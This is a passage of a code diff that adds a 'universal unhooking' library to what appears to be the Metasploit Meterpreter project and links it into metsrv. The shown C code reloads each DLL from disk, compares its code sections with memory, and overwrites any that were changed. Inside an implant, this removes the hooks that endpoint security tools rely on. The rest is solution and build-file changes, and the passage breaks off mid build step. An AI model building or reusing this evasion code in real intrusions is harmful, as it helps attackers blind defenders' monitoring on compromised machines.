wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;
OUTPUTDBGA("[*] Refreshing DLL: ");
OUTPUTDBGW(wszBaseDllName);
OUTPUTDBGA("\n");
hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);
if (hModule)
{
ScanAndFixModule((ULONG_PTR)hModule, pDllBase, wszBaseDllName);
VirtualFree_(hModule, 0, MEM_RELEASE);
}
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
FreeImports();
}
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
{
// File handles
HANDLE hFile;
HANDLE hMap;
ULONG_PTR pFile;
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
// Library
ULONG_PTR pLibraryAddr;
DWORD dwIdx;
// Relocation
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pBaseReloc;
ULONG_PTR pReloc;
DWORD dwNumRelocs;
ULONG_PTR pInitialImageBase;
PIMAGE_RELOC pImageReloc;
// Import
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_IMPORT_BY_NAME pImportName;
PCHAR szDllName;
PCHAR szBaseDllName;
PCHAR szRedirName;
HMODULE hModule;
PIMAGE_THUNK_DATA pThunkData;
FARPROC* pIatEntry;
// ----
// Step 1: Map the file into memory
// ----
OUTPUTDBGA("\t[+] Opening file: ");
OUTPUTDBGW(wszFullDllName);
OUTPUTDBGA("\n");
hFile = CreateFileW_(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return NULL;
hMap = CreateFileMappingW_(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap == NULL)
{
CloseHandle_(hFile);
return NULL;
}
pFile = (ULONG_PTR) MapViewOfFile_(hMap, FILE_MAP_READ, 0, 0, 0);
CloseHandle_(hFile);
CloseHandle_(hMap);
if (!pFile)
{
return NULL;
}
// ----
// Step 2: Parse the file headers and load it into memory
// ----
pDosHeader = (PIMAGE_DOS_HEADER)pFile;
pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);
// allocate memory to copy DLL into
OUTPUTDBGA("\t[+] Allocating memory\n");
pLibraryAddr = (ULONG_PTR) VirtualAlloc_(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy header
OUTPUTDBGA("\t[+] Copying PE header into memory\n");
memcpy_((PVOID)pLibraryAddr, (PVOID)pFile, pNtHeader->OptionalHeader.SizeOfHeaders);
// copy sections
OUTPUTDBGA("\t[+] Copying PE sections into memory\n");
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (dwIdx * sizeof(IMAGE_SECTION_HEADER)));
memcpy_((PVOID)(pLibraryAddr + pSectionHeader->VirtualAddress),
(PVOID)(pFile + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData);
}
// unmap the file and update our pointers to the loaded image
UnmapViewOfFile_((PVOID)pFile);
pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);
// ----
// Step 3: Calculate relocations
// ----
OUTPUTDBGA("\t[+] Calculating file relocations\n");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
// set the ImageBase to the already loaded module's base
pNtHeader->OptionalHeader.ImageBase = pDllBase;
// check if their are any relocations present
if (pDataDir->Size)
{
// calculate the address of the first IMAGE_BASE_RELOCATION entry
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pLibraryAddr + pDataDir->VirtualAddress);
// iterate through each relocation entry
while (pBaseReloc->SizeOfBlock)
{
// the VA for this relocation block
pReloc = (pLibraryAddr + pBaseReloc->VirtualAddress);
// number of entries in this relocation block
dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// first entry in the current relocation block
pImageReloc = (PIMAGE_RELOC) ((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
// iterate through each entry in the relocation block
while (dwNumRelocs--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we subtract the initial ImageBase and add in the original dll base
if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
*(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
*(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
{
*(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
}
else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
{
*(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
}
// get the next entry in the current relocation block
pImageReloc = (PIMAGE_RELOC) (((PCHAR)pImageReloc) + sizeof(IMAGE_RELOC));
}
// get the next entry in the relocation directory
pBaseReloc = (PIMAGE_BASE_RELOCATION)(((PCHAR)pBaseReloc) + pBaseReloc->SizeOfBlock);
}
}
// ----
// Step 4: Update import table
// ----
OUTPUTDBGA("\t[+] Resolving Import Address Table (IAT) \n");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pDataDir->Size)
{
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);
szBaseDllName = wcstocs_(wszBaseDllName, wcslen_(wszBaseDllName));
while (pImportDesc->Characteristics)
{
hModule = NULL;
szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
OUTPUTDBGA("\t[+] Loading library: ");
OUTPUTDBGA(szDllName);
OUTPUTDBGA("\n");
// If the DLL starts with api- or ext-, resolve the redirected name and load it
if (strnicmp_(szDllName, "api-", 4) == 0 || strnicmp_(szDllName, "ext-", 4) == 0)
{
szRedirName = GetRedirectedName(szBaseDllName, szDllName);
if (szRedirName)
{
hModule = GetLoadedLibrary(szRedirName);
free_(szRedirName);
}
}
// If the redirected name load failed or it is a normal DLL, just load it
if (hModule == NULL)
hModule = GetLoadedLibrary(szDllName);
// Ignore libraries that fail to load
if (hModule == NULL)
{
OUTPUTDBGA("\t[-] Failed to load library\n");
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
continue;
}
if (pImportDesc->OriginalFirstThunk)
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
else
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);
pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);
// loop through each thunk and resolve the import
while (DEREF(pThunkData))
{
if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
{
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), szDllName);
}
else
{
pImportName = (PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData));
OUTPUTDBGA("\t\t[+] Resolving procedure: ");
OUTPUTDBGA((PCHAR)pImportName->Name);
OUTPUTDBGA("\n");
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)pImportName->Name, szDllName);
}
// increment pointer to next entry
pThunkData++;
pIatEntry++;
}
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
free_(szBaseDllName);
}
return (HMODULE) pLibraryAddr;
}
HMODULE GetLoadedLibrary(const PCHAR szModule)
{
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
PCHAR szEntry;
OUTPUTDBGA("\t\t\t[*] Searching for loaded module: ");
OUTPUTDBGA(szModule);
OUTPUTDBGA(" -> ");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
{
szEntry = wcstocs_(pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length);
if (stricmp_(szModule, szEntry) == 0)
{
OUTPUTDBGA("found in memory\n");
free_(szEntry);
return ((HMODULE)pLdteCurrent->DllBase);
}
free_(szEntry);
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
OUTPUTDBGA("loading from disk\n");
return LoadLibraryA(szModule);
}
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, const PCHAR szOriginalModule)
{
UINT_PTR uiLibraryAddress = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
UINT_PTR uiFuncVA = 0;
PCHAR szFwdDesc;
PCHAR szRedirModule;
PCHAR szRedirFunc;
PCHAR szRedir;
HMODULE hFwdModule;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
FARPROC fpResult = NULL;
DWORD dwCounter;
if (hModule == NULL)
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
// get the VA for the array of name pointers
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
// test if we are importing by name or by ordinal...
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
// resolve the address for this imported function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// import by name...
dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray));
// test if we have a match...
if (strcmp_(cpExportedFunctionName, lpProcName) == 0)
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
uiFuncVA = DEREF_32(uiAddressArray);
// check for redirected exports
if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
{
szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);
ParseFwdDesc(szFwdDesc, &szRedirModule, &szRedirFunc);
OUTPUTDBGA("\t\t\t[*] Found a redirected entry: ");
OUTPUTDBGA(szFwdDesc);
OUTPUTDBGA("\n");
// check for a redirected module name
if (strnicmp_(szRedirModule, "api-", 4) == 0 || strnicmp_(szRedirModule, "ext-", 4) == 0)
{
szRedir = GetRedirectedName(szOriginalModule, szRedirModule);
if (szRedir)
{
free_(szRedirModule);
szRedirModule = szRedir;
}
}
hFwdModule = GetLoadedLibrary(szRedirModule);
fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, szRedirModule);
free_(szRedirModule);
free_(szRedirFunc);
return fpResult;
}
else
{
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
}
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
return fpResult;
}
VOID ScanAndFixModule(ULONG_PTR pKnown, ULONG_PTR pSuspect, PWCHAR wszBaseDllName)
{
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIdx;
OUTPUTDBGA("[*] Scanning module: ");
OUTPUTDBGW(wszBaseDllName);
OUTPUTDBGA("\n");
pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
// Scan PE header
ScanAndFixSection("Header", (PCHAR)pKnown, (PCHAR)pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders);
// Scan each section
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS) +
(dwIdx * sizeof(IMAGE_SECTION_HEADER)));
// Skip writable sections
if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE)
continue;
ScanAndFixSection((PCHAR)pSectionHeader->Name, (PCHAR)(pKnown + pSectionHeader->VirtualAddress),
(PCHAR)(pSuspect + pSectionHeader->VirtualAddress), pSectionHeader->Misc.VirtualSize);
}
}
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
{
DWORD ddOldProtect;
DWORD count;
PCHAR pbKnown;
PCHAR pbSuspect;
pbKnown = pKnown;
pbSuspect = pSuspect;
for (count = 0; count < stLength; count++)
{
if (*pbKnown != *pbSuspect)
{
OUTPUTDBGA("\t[!] Found modification in: ");
OUTPUTDBGA(szSectionName);
OUTPUTDBGA("\n");
if (!VirtualProtect_(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
{
OUTPUTDBGA("\t[!] Failed to set memory permissions to PAGE_EXECUTE_READWRITE.\n");
return;
}
OUTPUTDBGA("\t[+] Copying known good section into memory.\n");
memcpy_(pSuspect, pKnown, stLength);
if (!VirtualProtect_(pSuspect, stLength, ddOldProtect, &ddOldProtect))
OUTPUTDBGA("\t[!] Failed to reset memory permissions.\n");
return;
}
pbKnown++;
pbSuspect++;
}
}

View File

@ -0,0 +1,54 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#pragma once
#ifndef _UNIVERSAL_UNHOOKING_H_
#define _UNIVERSAL_UNHOOKING_H_
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "imports.h"
#include "apisetmap.h"
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
void RefreshPE();
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
HMODULE GetLoadedLibrary(const PCHAR wszModule);
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, const PCHAR szOriginalModule);
VOID ScanAndFixModule(ULONG_PTR pKnown, ULONG_PTR pSuspect, PWCHAR wszBaseDllName);
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength);
#endif // _UNIVERSAL_UNHOOKING_H_

View File

@ -1,7 +1,7 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.31101.0
# Visual Studio 2013
VisualStudioVersion = 12.0.40629.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
EndProject
@ -10,6 +10,9 @@ EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metsrv", "metsrv\metsrv.vcxproj", "{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}"
ProjectSection(ProjectDependencies) = postProject
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF} = {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj", "{72F0246A-A38D-4547-9057-46020E8E503D}"
EndProject
@ -39,6 +42,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_powershell", "ex
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_server_winpmem\ext_server_winpmem.vcxproj", "{A29BE1E5-5122-4BD4-82CE-25418D29648E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "universal_unhooking", "universal_unhooking\universal_unhooking.vcxproj", "{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
@ -335,6 +340,22 @@ Global
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|Win32.Build.0 = Release|Win32
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.ActiveCfg = Release|x64
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.Build.0 = Release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Debug|Win32.ActiveCfg = Release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Debug|Win32.Build.0 = Release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Debug|x64.ActiveCfg = Release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Debug|x64.Build.0 = Release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_debug|Win32.ActiveCfg = r7_release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_debug|Win32.Build.0 = r7_release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_debug|x64.ActiveCfg = r7_release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_debug|x64.Build.0 = r7_release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|Win32.ActiveCfg = r7_release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|Win32.Build.0 = r7_release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|x64.ActiveCfg = r7_release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|x64.Build.0 = r7_release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|Win32.ActiveCfg = Release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|Win32.Build.0 = Release|Win32
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|x64.ActiveCfg = Release|x64
{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@ -405,6 +405,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\universal_unhooking\universal_unhooking.vcxproj">
<Project>{adcf32a5-f2fc-41d0-bc25-8b3b81d02cbf}</Project>
</ProjectReference>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@ -0,0 +1,449 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_debug|Win32">
<Configuration>r7_debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_debug|x64">
<Configuration>r7_debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_release|Win32">
<Configuration>r7_release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_release|x64">
<Configuration>r7_release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{adcf32a5-f2fc-41d0-bc25-8b3b81d02cbf}</ProjectGuid>
<RootNamespace>universal_unhooking</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup>
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY
